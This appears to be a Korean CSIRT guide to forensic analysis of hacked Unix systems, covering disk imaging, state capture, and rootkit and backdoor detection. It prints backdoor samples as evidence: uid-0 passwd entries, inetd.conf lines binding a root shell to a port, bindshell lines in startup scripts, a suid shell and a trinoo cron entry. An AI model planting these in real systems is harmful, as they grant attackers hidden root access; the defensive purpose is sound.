  본 문서는 해킹 피해 시스템을 분석하는 방법에 대하여 사례를 위주로 작성한 것이다. “Computer Forensics" 수준의 기술문서는 아니지만,관리자들이 피해시스템에서 어떠한 일이 일어났는지 그리고 어떻게 침입자를 찾아낼 수 있는지에 대한 기본적인 실무 내용을 다룬다. 그리고 이는 대부분의 피해시스템을 분석하는데 필요한 정보를 제공할 것이다. 본 문서를 이해하기 위해서는 기본적인 유닉스 명령, 해킹의 개념, 백도어/트로이잔의 개념에 대한 이해를 필요로 한다.  

  국내의 여러 침해사고대응팀(CSIRT), 컴퓨터 범죄를 다루는 경찰, 검찰, 그리고 일반 시스템 및 네트워크 관리자가 본 자료를 통하여 피해 시스템을 보다 정확히 분석하고 대응하는데 도움이 되었으면 한다.  

  법의학(Forensic)을 주제로 다룬 영화 Bone Collector(원작: Scene of The Crime)”에서 범죄 현장을 다루는데 있어 가장 주의할 것으로증거훼손을말하고 있다. 기억에 남는 또 다른 것은 범죄자를 잡기 위해서는 범죄자와 똑같이 생각하라는것으로 이는 범죄자의 심리를 파악하고 행동을 예측해야 한다는 뜻으로 받아들여진다.  
 
 
 
 
 
 

II. 피해 시스템 분석 

  해킹 피해 시스템을 분석하다 보면 다양한 환경에 부딪히게 된다. 서비스를 지속해야만 하는 경우가 있을 수 있으며, 피해 시스템이 원격지에 위치한 경우, 그리고 빠른 분석을 해야 하는 경우 등이 발생한다. 그리고 각각의 경우에 따라 시스템을 분석하는 절차, 깊이, 결과가 달라질 수 있다. 다음은 피해 시스템 분석방법에 따른 장단점을 설명한다.  

  o 격리 분석

        - 대체 백업 시스템이 있어 정상적인 서비스에 지장이 없을 경우, 또는 분석할 동안 서비스를 하지 않아도 될 경우 가능

        - 정확한 증거보존이 필요한 경우, 그리고 분석 시스템을 이용하여 아주 철저한 분석을 원할 경우

    - 격리 이후에는 공격 프로그램 또는 침입자를 모니터링하기 어렵게 된다. 

  o 온라인 분석

    - 대체 백업 시스템이 없어, 해당 시스템이 없으면 정상적인 서비스를 하지 못할 경우

        - 피해 시스템에 온라인으로 로그인해서 분석하게 되며, 주로 원격지의 시스템을 빨리 분석해야 할 경우에 적합하다.

    - 공격 프로그램이나, 공격자의 활동 등을 지속적으로 모니터링 할 수 있다.

    - 분석 도중에 침입 흔적이 파괴되거나 손상될 수 있어 정확한 분석이 힘들다.

    - 최소한 자원으로 최소한의 분석만을 원할 경우의 분석방법 이다. 

  o 분석 시스템을 이용한 분석

        - 피해시스템의 디스크의 이미지를 복사해서 분석 시스템을 이용하여 분석하는 방법으로 Computer Forensics"에서 증거를 훼손하지 않기 위한 분석 방법이다.

        - 피해 시스템의 자원을 이용하지 않고 분석 시스템의 자원을 이용하기 때문에 보다 정확한 분석이 가능하다.

        - 분석 시스템 준비, 디스크 복사 등 피해시스템 분석에 앞서 준비할 사항이 많으며 시간이 오래 걸린다. 

       컴퓨터 범죄와 관련하여 증거로서 효력이 있는 경우, 또는 없는 경우에 대해서는 본 문서에서 다루지 않는다. 

  피해 시스템을 분석하기 위한 일반적인 절차는 다음과 같다. 분석 시스템 준비과정은 정확한 분석과 철저한 증거보존을 위해서는 꼭 필요한 절차이다. 하지만 주먹구구식의 분석방법에서는 필요하지 않다.  

  o 백업 : 누가 어떠한 상황에서 분석을 하든 꼭 필요한 절차이다.

  o 분석 시스템 준비 :

      o Freezing The Scene : 사건현장을 조사하는 것과 비슷하게, 최초 분석을 시작할 때의 시스템 상황을 기록하는 과정이다.

  o 시스템 분석 :

      o 침입자 추적 : CERTCC-KR-TR-2000-04(침해사고대응방법 및 절차), 또는 침입자 모니터링을 통하여 추적 

  피해 시스템 분석 과정에 있어 기록은 매우 중요하다. 분석을 시작한 시간, 백업을 한 시간, 어떠한 내용을 점검했는지에 대한 정보 등을 기록한다. 기록은 단순한 메모를 통하여 할 수도 있을 것이며, 전문적인 분석가의 경우 정형화된 문서에 의해 기록을 수행할 수도 있을 것이다. 그리고 이러한 기록은 법적 대응, 사후 복구, 그리고 또 다른 사고 분석 등에 유용하게 쓰일 것이다. 시스템 분석 시에 나오는 정보를 기록하는 좋은 방법은 script” 명령을 사용하여 터미널에 표시되는 모든 내용 기록하는 것이다. 

   # script [filename]    ---> 본 명령 이후의 모든 화면출력은 [filename] 파일에 저장된다. 

script를 끝내고 싶을 때는 CTRL-D를치면 된다. 
 

1. 백 업 

  피해 시스템 분석에 앞서 가장 먼저 해야 될 일은 데이터 백업이다. 백업은 보안에 있어 가장 기본적인 조치이다. 특히, 서비스의 지속성이 필요하여 온라인으로 분석해야만 할 경우, 그리고 보안업체의 전문가 등 제 삼자가 분석할 경우에는 필수적인 조치이다. 왜냐하면, 피해 시스템을 분석하거나 모니터링 한다는 것을 공격자가 알게 되면 시스템 전체를 삭제하는 경우가 있으며, 제 삼자가 분석할 경우에는 이에 대한 책임을 져야 할 수도 있기 때문이다. 이는 실제 많은 피해시스템을 분석해본 경험에서 나온 원칙이다.  
 

2. 분석 준비 작업 

 만약 법적 대응을 원할 경우에는 피해 시스템의 철저한 보존이 필요하다. 따라서 보안업체의 전문가나 경찰 또는 검찰에 의뢰하여 처리하는 방법이 가장 바람직하다. 여기서는 피해 시스템 분석 시 보다 철저한 증거보존과 정확한 분석을 위해 전용 분석 시스템을 마련하고 이를 이용하는 방법에 대하여 설명한다. 이러한 과정은 생략될 수 있으나, 전문적인 분석을 수행하는 기관이나 향후 보다 정확하고 철저한 분석을 하고자 하는 경우에는 미리 준비하고 연습해 보는 것이 좋다. 
 

2.1 분석 시스템 준비 

  분석 시스템은 리눅스 플랫폼을 사용한다. 리눅스는 대부분의 파일시스템을 지원하기 때문에 어떠한 피해 시스템이든지 그 파일시스템을 복사해서 분석 시스템에 붙이기가 용이하다. 예를 들면 SUN UFS 일 경우 다음과 같은 명령으로 리눅스 시스템에 마운트해서 사용할 수 있다. 

      # mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt 

  리눅스 시스템의 또 다른 장점은 "loopback" devices 이다. 이는 "dd" 명령을 이용한 bit 단위의 디스크 이미지 복사본 파일을 분석 시스템에 마운트해서 사용할 수 있도록 한다. 다음은 리눅스를 이용한 기본적인 분석 시스템 사양 및 설치 내용이다. 

o 2개의 IDE 콘트롤러를 탑제한 i386 호환의 마더보드

       : 적어도 8기가 이상의 하드 드라이브 2개를 primary IDE 컨트롤러에 사용(OS, 분석도구, 그리고 삭제된 파일을 복구하기 위한 공간, 파티션을 복사할 공간 등) 

o 두 번째 IDE 케이블은 빈채로 남겨둔다.

       : 디스크의 점퍼를 조정할 필요 없이 디스크를 바로 추가할 수 있도록 한다. 이는 /dev/hdc (master) 또는 /dev/hdd (slave)로 나타날 것이다. 피해 시스템의 디스크 복사본을 바로 피해 시스템에 붙여 분석하기 위한 준비이다. 

  o SCSI interface card (Adaptec 1542 )

        : DDS-3  DDS-4 4mm 테이프 드라이브 등 가장 큰 파티션을 다룰 수 있는 공간이 필요하다. 그리고 이는 피해 시스템의 자료를 백업하는데도 사용된다. 

      o 만약 분석 시스템이 네트워크에 연결되어 있다면, 모든 보안패치를 설치하고, 어떠한 네트워크 서비스도 있어서는 안 된다. 

  o 10-baseT 크로스 케이블

        : 허브나 스위치 없이도 피해 시스템에 연결하여 네트워크를 구성할 수 있도록 한다.(이를 위해서는 static route 테이블을 수동으로 구성해야 한다.) 

  o 분석에 필요한 도구들을 준비한다.

        : 피해 시스템 분석에 필요한 도구와, netcat 등의 프로그램을 설치한다. 특히, dd, netcat 등의 경우 static으로 컴파일 하여 동적 라이브러리를 사용하지 않도록 준비해 두는 것이 좋다. 이는 피해 시스템에서 이러한 명령을 사용할 때 변조된 라이브러리를 사용하지 않도록 한다. 

       사실 위와 같은 전용 분석 시스템을 준비하는 것은 비용 측면에서 쉬운 일이 아니다. 따라서 노트북과 같은 랩탑 컴퓨터를 사용하는 것이 매우 효율적이다. 언제든 시스템을 들고 다니며, 피해 시스템을 분석하거나 중요 데이터를 백업할 수 있다. 단지 20GB 정도의 충분한 하드 드라이브 공간과 이더넷 카드, 그리고 분석 도구가 설치되어 있으면 된다. 
     

2.2 디스크 이미지 복사 

  분석 시스템이 준비되었으면, 다음에는 피해 시스템의 디스크 이미지를 복사하여야 한다. 이 과정은 증거보존을 위한 중요한 작업이다. 일반적으로 백업에 사용되는 tar, dump와 같은 명령은 피해 시스템의 상태를 정확히 복사하지 못한다. 따라서 bit 단위로 디스크를 복사하는 dd"명령을 사용하여 복사하도록 한다. 이 과정은 다음에 설명할 Freezing The Scene 과정을 수행한 후에 시스템을 격리시키고 수행하는 것이 바람직하다.  

  다음의 경우는 네트워크를 통하여 피해시스템의 디스크를 파티션별로 분석 시스템으로 복사하는 방법을 보여준다. 증거를 훼손하지 않기 위해서는 절대로 피해 시스템의 디스크를 직접 분석하지 말고 복사된 정보를 분석하여야 한다. 피해 시스템의 파일시스템 정보는 ”/etc/fstab" 파일을 참조하면 된다. 

      분석 시스템

         nc -l -p 10000 > victim.hda2.dd 

      피해 시스템

        /cdrom/dd bs=1024 < /dev/hda2 | /cdrom/nc 172.16.1.1 10000 -w 3 

     피해 시스템의 dd", 또는 netcat"을 사용하지 않고 미리 static 하게 컴파일 해둔 명령을 사용하는 것이 좋다. 

  피해 시스템의 디스크 이미지를 파티션별로 복사한 뒤에는 이를 분석시스템에 마운트해서 분석을 시작하면 된다. 리눅스 시스템의 loopbackdevice를 이용하여 다음과 같이 피해 시스템의 디스크 복사본을 마운트한다. 

    # mkdir /t

    # mount -o ro,loop,nodev,noexec victime.hda2.dd /t

    # mount -o ro,loop,nodev,noexec victime.hda1.dd /t/home

      ... 
3. Freezing The Scene 

  공격자는 언제든 시스템을 변경하거나 파괴할 수 있다라는 사실을 주지하여야 한다. 따라서 공격 흔적을 더 이상 훼손되지 않도록 보존하려고 할 경우에는 시스템을 셧다운 시키거나 네트워크 선을 분리할 수 있다. 하지만 이러한 작업은 공격자의 로그인 상태, 네트워크 연결 상태 등 피해시스템의 몇 몇 중요한 현재 상태 정보를 잃게 만든다.  

  따라서, 피해 시스템을 격리하기 전에 현재의 시스템 상태를 정확히 파악하여야 한다. 이는 범죄 현장을 손상 없이 그대로 보존하는 것과 같다. 비록 rootkit 또는 backdoor 등으로 인하여 거짓 정보가 나타날 수도 있지만 - 범죄자가 범죄현장을 위조하는 것과 비슷 - 이에 대한 자세한 분석은 이후의 절차에 따라 수행하여야 한다. 이러한 피해 시스템 상태에 대한 정보수집은 온라인 상태에서 분석할 경우에도 필요하며 이후의 분석작업을 쉽게 해준다.  

  다음과 같은 명령을 사용하여 피해 시스템의 현재 프로세스, 주요 설정파일, 열린 파일, 로그인 사용자 정보, 네트워크 상태 등에 대하여 따로 기록하여 보관한다. 

   o "ps -elf" 또는 “ps -aux": 현재 시스템에서 수행중인 프로세스 상태를 보여준다.

       o “lsof : ps netstat를 대체할 수 있는 것으로 현재 시스템상의 모든 프로세스와 프로세스가 사용하는 포트, 열린 파일을 보여준다.

   o “netstat -na : 현재 네트워크 활동에 대한 정보

   o “last : 사용자, 터미널에 대한 로그인, 로그아웃 정보를 보여준다.

   o “who : 현재 시스템에 있는 사용자를 보여준다.

       o "find / -ctime -ndays -ls" : ndays 이전 시점부터 현재까지 ctime이 변경된 모든 파일을 찾아준다. 하지만 이는 파일의 접근시간(atime)을 변경시킨다. 따라서 침입자가 어떠한 파일에 접근했는지 알고 싶은 경우에는 사용하지 않도록 한다. 

  또한 nmap을 이용하여 다른 시스템에서 피해 시스템의 모든 열린 포트를 검사하여 기록하는 일도 필요하다. 이는 나중에 피해 시스템을 분석하는데 큰 도움이 된다. 

       nmap -sT -p 1-65535 xxx.xxx.xxx.xxx(피해시스템 IP 주소)

       nmap -sU -p 1-65535 xxx.xxx.xxx.xxx(피해시스템 IP 주소)

        nmap : http://www.nmap.org 

  만약 피해 시스템을 격리해서 분석하고자 할 경우에는, 시스템을 셧다운 시키기보다는 네트워크 선을 분리하는 것이 바람직하다. 공격자가 시스템에 연결되어 있는 경우, 공격자는 관리자가 시스템을 셧다운 시킨다는 것을 알 수 있으며, 이는 공격자를 자극하여 시스템 전체를 파괴할 수도 있기 때문이다. 경우에 따라서는 피해 시스템을 격리하지 않고 인터넷에 연결된 상태에서 분석해야 하는 경우도 발생한다. 이럴 경우에는 공격자로부터의 파괴위험을 감수한 채 분석해야만 한다. 
4. 시스템 분석 

침입을 당한 시스템은 침입자의 흔적 제거 및 재 침입을 위한 백도어(Backdoor) 또는 트로이잔 목마(Trojan Horses) 프로그램 등이 설치되게 된다. 트로이잔 목마(trojan horse)는 정상적인 기능을 수행하는 것처럼 보이나 실제로 다른 기능을 하는 프로그램을 말하고 백도어(backdoor)는 시스템에 비 인가된 접근을 가능하게 하는 프로그램을 말하는 것으로, 트로이목마가 시스템의 불법적인 침입을 위한 백도어로 사용되기도 한다.[ ] 그리고 이러한 프로그램을 모아놓은 루트킷(rootkit)이라불리는 패키지 도구가 존재하며,  OS 종류별로 공개되어 있다.특히, ls, netstat, ps, login, ifconfig 등의 시스템 파일을 변조하여 공격자가 만든 파일, 프로세스, 네트워크 연결상태 등이 보이지 않도록 한다.  

     * 참조 : CERTCC-KR-TR-99-006 트로이 목마와 백도어 분석 보고서  

  , 피해시스템 분석에 있어 피해시스템의 시스템 명령을 이용하여 제공되는 모든 정보는 믿을 수 없는 정보가 된다. 올바른 결과를 얻기 위해서는 피해 시스템의 파일시스템을 준비된 분석 시스템에 마운트해서 분석 시스템의 명령을 사용하여야 한다. 만약 온라인상으로 빠른 분석을 해야 할 경우에는 주요 시스템 명령들이 변조되었는지 점검하고, 변조되었을 경우에는 똑 같은 버전의 다른 시스템에서 해당 파일을 복사해서 사용하거나 설치 패키지를 부분별로 다시 설치해 사용하여야 한다. 

  공격자는 루트킷외에도 자신이 해킹한 시스템에 재침입하기 위하여 백도어(Backdoor)를 만들어 놓기도 한다. 이러한 백도어는 새로운 계정 생성, 계정 도용, 루트쉘 포트 생성 그리고 앞서 설명한 루트킷에서 제공하는 기능을 병행 사용하는 등 매우 다양하다. 올바른 시스템 분석을 위해서는 공격자들이 사용하는 이러한 루트킷(rootkit)과 백도어(Backdoor)에 대한 자세한 이해가 필요하다. 많이 알수록 그만큼 더 빨리 분석할 수 있다. 

4.1 루트킷(rootkit) Exposed 

  루트킷은 지속적으로 기능이 업그레이드되면서 공개되고 있다. 리눅스의 경우 lrk(Linux RootKit)3, lrk4, lrk5 등의 버전이 계속 나오고 있으며, 그밖에도 t0rn kit, Ambient's Rootkit 등이 사용되고 있다. 몇몇 루트킷의 기능 및 사용법에 대하여 이해하게 되면 대부분의 루트킷에 대하여 이해할 수 있고, 이는 시스템 분석에 필수적인 기반 지식이 된다. 다음은 대표적인 루트킷에서 사용되는 트로이잔목마 버전의 프로그램과 백도어에 대하여 설명한다. 

4.1.1 lrk5(Linux Rootkit IV) 

  o 디폴트 루트킷 설정파일

    /dev/ptyr  : ls 명령으로부터 숨기고 싶은 파일이나 디렉토리를 지정

    /dev/ptyq  : netstat 명령으로부터 숨기고 싶은 특정 IP 주소, UID, 포트번호를 지정

      ex) /dev/ptyq 파일 내용 및 설명

          1 128.31        <- 128.31.X.X로부터의 모든 접속을 보이지 않도록 함

           발견된 /dev/ptyq 파일에서 우리는 공격자가 128.31 네트워크 번호를 가지고 있음을 알 수 있으며, 정확한 공격자의 IP 주소를 추적하기 위해서는 128.31 네트워크에 대하여 모니터링해야 한다.

    /dev/ptyp  : ps 명령으로부터 숨기고 싶은 프로세스 지정 

  o 주요 트로이잔/백도어 프로그램

    bindshell : 특정 포트에 루트쉘을 바인딩시켜 해당포트로 접속하면 루트권한 획득

    chsh  : 일반 사용자에서 루트권한 획득

    crontab : 특정 Crontab 내용을 숨기는 프로그램

    find  : /dev/ptyr 파일에 지정된 내용을 숨겨주는 변조된 find 명령

    ifconfig : PROMISC flag를 숨겨주는 변조된 ifconfig 명령

    inetd  : 원격접근을 혀용하는 변조된 inetd 프로그램

    linsniffer : 스니퍼 프로그램

    login  : 원격접근을 허용하는 변조된 login 프로그램 

    ls  : /dev/ptyr 파일에 지정된 내용을 숨겨주는 변조된 ls 프로그램

    netstat : /dev/ptyq 파일에 지정된 내용을 숨겨주는 변조된 netstat 프로그램

    passwd : 일반 사용자에게 root권한을 주는 passwd 프로그램

    ps  : /dev/ptyp 파일에 지정된 프로세스를 숨겨주는 ps 프로그램

    rshd  : 원격 접근을 제공하는 rshd 프로그램

    sniffchk : 스니퍼가 실행되고 있는지 점검해주는 프로그램

    syslogd : 로그를 숨겨주는 syslogd 프로그램

    tcpd  : 특정 커넥션을 숨기고, 연결이 거부(deny)되지 않도록 해주는

                  TCP-Wrapper  tcpd 프로그램

    top  : 프로세스를 숨겨주는 top 프로그램

    wted  : wtmp/utmp 파일 편집기(로그인 정보를 삭제할 때 사용됨)

    z2  : Zap2 utmp/wtmp/lastlog 삭제 프로그램     

4.1.2 Ambient's Rootkit ( for Linux ) 

  o 디폴트 루트킷 설정파일

    /dev/ptyxx/.log  : syslogd에 기록되지 않게 하고 싶은 문자열 지정

    /dev/ptyxx/.file  : ls 명령으로부터 숨기고 싶은 파일이나 디렉토리를 지정

    /dev/ptyxx/.proc : ps 명령으로부터 숨기고 싶은 프로세스 지정

    /dev/ptyxx/.addr : netstat 명령으로부터 숨기고 싶은 특정 IP 주소, UID, 포트번호 지정 

  o 주요 트로이잔/백도어 프로그램

    syslogd : /dev/ptyxx/.log 파일에 지정된 문자열일 경우 로그를 남기지 않음

    login    : rkd00r 로 로그인할 경우 루트쉘 획득

    sshd  : 지정된 패스워드를 사용하여 루트로 로그인 가능

    ls  : /dev/ptyxx/.file 파일에 지정된 파일 및 디렉토리를 숨김

   du  : /dev/ptyxx/.file 파일에 지정된 파일 및 디렉토리를 숨김

    netstat : /dev/ptyxx/.addr 파일에 지정된 연결, 포트 등을 숨김

    ps  : /dev/ptyxx/.proc 파일에 지정된 이름의 프로세스를 숨김

    pstree : /dev/ptyxx/.proc 파일에 지정된 이름의 프로세스를 숨김

    killall : /dev/ptyxx/.proc 파일에 지정된 이름의 프로세스를 숨김

    top  : /dev/ptyxx/.proc 파일에 지정된 이름의 프로세스를 숨김 

4.1.3 t0rn kit   

  o 디폴트 루트킷 설정파일

    /usr/src/.puta/.lfile : ls 명령으로부터 숨기고 싶은 파일이나 디렉토리를 지정

    /usr/src/.puta/.lproc : ps 명령으로부터 숨기고 싶은 프로세스 지정

    /usr/src/.puta/.laddr : netstat 명령으로부터 숨기고 싶은 특정 IP주소, UID, 포트번호 지정 

  o 주요 트로이잔/백도어 프로그램

    sshd

    finger

    t0rnsb

    t0rns

    t0rnp 

       참고자료 : rpc.statd을 이용한 공격과 t0rnkit 트로이목마 설치, 정현철/전숙, CERTCC-KR

     http://www.certcc.or.kr/paper/incident_note/2001/in2001_002.html 

4.1.4 Rootkit for SunOS 

  o 디폴트 루트킷 설정파일

   /dev/ptyp  : ps 명령으로부터 숨기고 싶은 프로세스 지정

    /dev/ptyq  : netstat 명령으로부터 숨기고 싶은 특정 IP주소, UID, 포트번호 지정

    /dev/ptyr  : ls 명령으로부터 숨기고 싶은 파일이나 디렉토리를 지정 

  o 주요 트로이잔/백도어 프로그램

    z2 : utmp/wtmp/lastlog 로그파일 삭제 프로그램

    es : 스니퍼 프로그램

    fix : checksum 값 위조

    sl : magic 패스워드로 root 권한 획득

    ic  : ifconfig, PROMISC 플래그를 숨김

    ps : /dev/ptyp 파일에 지정된 이름의 프로세스를 숨김

    ls : /dev/ptyr 파일에 지정된 파일 및 디렉토리를 숨김

    netstat : /dev/ptyq 파일에 지정된 연결, 포트 등을 숨김

     

ex) Trojan의 확인 

  아래와 같이 트로이잔 ls, 즉 위조된 ls 프로그램과 정상적인 ls 프로그램을 truss 명령을 이용해 실행시켜보면 다른점을 발견할 수 있다. 위조된(Trojaned) ls /dev/ptyr 파일을 참조함을 알 수 있다. /dev/ptyr파일은 트로이잔 ls의 설정파일로 공격자는 자신이 숨기고 싶은 디록토리나 파일명을 /dev/ptyr 파일에 나열한다. 그러면 ls 명령으로 해당 디렉토리나 파일이 보이지 않게 된다. 

       정상적인 "/bin/ls" 프로그램 :

        # truss -t open /bin/ls

        open("/dev/zero", O_RDONLY)                     = 3

        open("/usr/lib/libw.so.1", O_RDONLY)            = 4

        open("/usr/lib/libintl.so.1", O_RDONLY)         = 4

        open("/usr/lib/libc.so.1", O_RDONLY)            = 4

       open("/usr/lib/libdl.so.1", O_RDONLY)           = 4

        open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2

        ENOENT

        open(".", O_RDONLY|O_NDELAY)                    = 3

        [list of files] 

       트로이잔 버전의 /bin/ls" 프로그램 :

        # truss -t open ./ls

        open("/dev/zero", O_RDONLY)                     = 3

        open("/usr/lib/libc.so.1", O_RDONLY)            = 4

        open("/usr/lib/libdl.so.1", O_RDONLY)           = 4

        open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2

        ENOENT

        open("/dev/ptyr", O_RDONLY)               Err#2 ENOENT --> 루트킷 설정파일

        open(".", O_RDONLY|O_NDELAY)                    = 3

        [list of files] 

      ex) TornKit Trojan의 확인예 

      bash# strace -e trace=open ps | more

      open("/usr/src/.puta/.1proc", O_RDONLY) = 3   ---> Tornkit 설정파일 참조부분

      open("/etc/psdevtab", O_RDONLY)         = 6

      open("/etc/nsswitch.conf", O_RDONLY)    = 6  

      bash# strace -e trace=open ls | more

      open("/usr/src/.puta/.1file", O_RDONLY) = 3  ---> Tornkit 설정파일 참조부분

      open(".", O_RDONLY)                     = 3  

      bash# strace -e trace=open netstat | more

      open("/usr/src/.puta/.1addr", O_RDONLY) = 3   ---> Tornkit 설정파일 참조부분 
 

4.2 백도어(Backdoor) Exposed 

  공격자는 자신이 침입한 시스템에 들키지 않고 그리고 손쉽게 재 침입할 수 있도록 백도어를 만들게 된다. 앞서 설명한 것처럼 rootkit의 트로이잔 백도어를 사용하거나, 일반 백도어를 만들어 사용하거나, 또는 특정 백도어를 사용하지 않고 재침입 때마다 취약점을 공격하여 치입하기도 한다. 백도어의 주요 목적은 다음과 같다. 

     - 관리자가 패스워드 교체, 보안패치 등의 보안조치를 한 뒤에도 다시 시스템에 들어올 수 있도록 한다.

     - 시스템 로그파일이나 모니터링 명령에서 탐지되지 않도록 한다.

     - 최단시간에 손쉽게 시스템에 접속할 수 있도록 한다. 

  사실 백도어는 그 형태가 매우 다양하고 교묘히 만들어질 수 있기 때문에 모든 백도어를 찾아서 제거하기는 매우 힘들다. 다른 말로 하면, 누구도 모든 백도어/트로이잔을 제거했다고 장담할 수 없다는 것이다. 이는 해킹피해를 당한 시스템의 사후 조치시, 시스템을 다시 설치하도록 권고하는 이유이기도 하다. 해킹당한 시스템의 제어를 가장 확실하게 다시 회복하는 방법은 시스템 재 설치이다(하지만 CGI 백도어와 같은 어플리케이션상의 백도어는 여전히 문제가 된다). 여기서는 침해사고에서 가장 흔히 발견되는 백도어에 대해서만 설명한다. 다양한 백도어의 형태에 대하여 인지함으로서 관리자는 피해시스템을 보다 정확히 분석하고 복구할 수 있게 된다. 

4.2.1 패스워드 백도어 

  가장 전통적인 방법으로 패스워드 파일을 크래킹하여 특정 사용자의 ID와 패스워드를 이용하여 시스템에 접근한다. 이는 정상적인 로그인과 구별하기 어렵기 때문에 탐지하기가 쉽지않다. 보통 일반 사용자의 디렉토리와 history 파일, 그리고 로그인 기록을 분석하여 이상한 점을 찾아 내는데, 이는 세심한 시스템 관리자만이 판단할 수 있다. 

  또 다른 방법은 패스워드 파일에 uid 0인 계정(관리자 권한을 가진 계정)이나 일반 사용자 계정을 추가하여, 해당 계정을 사용하는 방법인데, 이는 관리자가 쉽게 탐지할 수 있음에도 불구하고 종종 사용되는 방법이다. 

      ) 불법계정이 추가된 /etc/passwd 파일

         ...

      reef:x:0:0::/tmp:/bin/csh

         rewt::0:0::/tmp:/bin/bash 

  공격자가 일반 사용자 계정을 이용하여 로그인하는 경우, 루트권한을 획득하기 위한 백도어를 만들어 놓게 되는데 다음과 같이 주로 suid, sgid를 설정한 파일을 이용한다. 아래의 “sha” "/bin/sh" 프로그램을 복사한 파일이다. 

      [lotus@linux tmp]$ ls -al ./.sha

      -rwsr-xr-x   1 root     root       373176 Jan 30 17:24 ./.sha*

      [lotus@linux tmp]$ id

      uid=506(lotus) gid=506(lotus) groups=506(lotus)

      [lotus@linux tmp]$ ./.sha

      [lotus@linux tmp]# id

      uid=506(lotus) gid=506(lotus) euid=0(root) groups=506(lotus)

      [lotus@linux tmp]#  

  아래와 같은 방법으로 suid, sgid가 설정된 파일을 찾아 백도어를 찾아낼 수는 있으나 사실 UNIX에는 수많은 suid, sgid 파일들이 있어 어느것이 백도어인지 구별하기는 쉽지 않다. 따라서 평소에 아래와 같은 명을을 이용하여 suid, sgid 설정된 파일에 대하여 목록을 만들어두는 것이 좋다. 

      find / -type f -perm -04000 -ls   # SUID 파일 찾기

      find / -type f -perm -02000 -ls   # SGID 파일 찾기 

4.2.2 Login 백도어 

  login 프로그램은 유닉스에서 telnet 등을 이용하여 접속할 때 패스워드를 통한 사용자 인증에 사용된다. 공격자는 이러한 login 프로그램을 수정하여. 특정 패스워드가 입력될 때는 root 권한으로 로그인이 될 수 있도록 만든다. 그리고 이러한 패스워드를 이용해 로그인 할 때는 로그파일에 남지 않도록 한다. 일반적으로 관리자는 “strings" 명령으로 login 프로그램에서 이러한 패스워드 문구를 확인하거나, truss 명령으로 정상적인 login 프로그램과 비교해 보거나, 또는 파일의 생성시간을 확인하여 트로이잔 login 프로그램을 알아낼 수 있다. 

4.2.3 Telnetd 백도어(서비스 백도어) 

  Login 백도어는 많이 알려져 있어 관리자는 종종 login 프로그램을 검사하기도 한다. 따라서 공격자는 login 프로그램 대신에 in.telnetd 프로그램을 트로이잔 프로그램으로 바꿔 놓기도 한다. 일반적으로 트로이잔 in.telnetd 프로그램은 특정 터미널(TERM) 설정을 갖는 클라이언트에게 루트쉘을 제공하는 기능을 갖는다.  

  Telnetd 백도어처럼 위조된(trojanized) 서버를 설치하여 공격자가 들어올 수 있도록 하는 백도어를 일반적으로 서비스 백도어라고 한다. 현재까지 sshd, tcpd, rlogin, rsh, ftp, inetd 

네트워크 서비스를 제공하는 거의 모든 서버들에 대한 Trojan 버전의 프로그램이 공개되어 돌아다니고 있다. 

4.2.4 설정 파일을 이용한 백도어 

  일반적인 서비스를 제공하는 서버의 설정 파일을 변조하여 공격자가 들어올 수 있도록 하는 방법이다. 가장 많이 쓰이는 방법은 인터넷 수퍼 서버인 inetd의 설정파일을 이용하여 공격자가 들어올 수 있는 백도어를 만드는 것이다. inetd 서버는 접속요청이 들어오면 /etc/inetd.conf설정파일을 읽어 해당 네트워크 서버를 띄워주는 역할을 하는 데몬이다. 다음의 예는 공격자에게 백도어를 제공하는 inetd.conf 파일의 내용이다. 

      ) 백도어가 숨겨진 /etc/inetd.conf 파일

      ...

        ingreslock  stream tcp nowait root /bin/sh   sh -i

      2222  stream tcp nowait root /bin/sh   sh -i 

  백도어를 제공하는 또 다른 예로는 시작 스크립트 파일에 백도어를 띄워주는 명령라인을 삽입하는 방법이 있다. 이는 시스템이 재부팅되더라도 백도어가 실행되게끔 하여 공격자가 이를 언제든 이용할 수 있도록 한다. 다양한 방법이 사용될 수 있으나 주로 발견되는 rc.local의 예를 들어 설명한다. 이러한 백도어가 rootkit과 함께 설치되면 이를 찾기가 힘들어진다. 

      사례1) 백도어가 숨겨진 /etc/rc.d/rc.local 파일

      ...

    echo "$R" >> /etc/issue

         echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue 

         cp -f /etc/issue /etc/issue.net

         echo >> /etc/issue

      fi 

      /bin/bindshell 
 

      사례2) 백도어가 숨겨진 /etc/rc.d/rc.sysinit  파일

    ...

    dmesg > /var/log/dmesg

    /bin/bindshell 
     

    다음과 같이 bindshell 프로세스를 확인해 보면 31337번 포트가 열려있음을 확인할 수 있고, 31337 포트로 접속해 보면 root 권한으로 접속할 수 있음을 알 수 있다. 

      [victime:root /etc]# ps -ef | grep bindshell

      root       651     1  0 17:12 tty1     00:00:00 ./bindshell 

      [victime:root /etc]# lsof -p 651

      COMMAND   PID USER   FD   TYPE DEVICE   SIZE   NODE NAME

      ...

      bindshell 651 root    3u  inet    880           TCP *:31337 (LISTEN) 

      [victime:root /etc]# netstat -a | grep 31337

      tcp        0      0 *:31337                 *:*                     LISTEN      

      [attacker:root /]# telnet xxx.xxx.xxx.31 31337

      Trying xxx.xxx.xxx.31...

      Connected to xxx.xxx.xxx.31.

      Escape character is '^]'.

      id;

      uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

      : command not found 

 

  .rhosts 백도어궡 가장 오래된 백도어 중의 하나이다. .rhosts 파일에 ”+ +”가있게 되면 모든 호스트에서 rlogin, rsh 명령을 이용하여 패스워드 없이 로그인 할 수 있음을 의미한다.  

4.2.5 Cronjob 백도어 

  cron은 시스템 관리를 자동화 해주는 매우 유용한 도구인 반면, 백도어를 심는데 있어서도 매우 유용하다. 일반적으로 특정 시간에 트로이잔 백도어를 실행시키도록 cron 테이블에 백도어를 만들 수 있다. 일반적인 cron 테이블의 위치는 /var/spool/cron/crontabs/root이다. 다음은trinoo agent  설치된 시스템에서 root crontab 내용이다. 

      /var/spool/cron/crontabs/root 

      * * * * * /dev/isdn/.subsys/tsolnmb > /dev/null 2>&1 

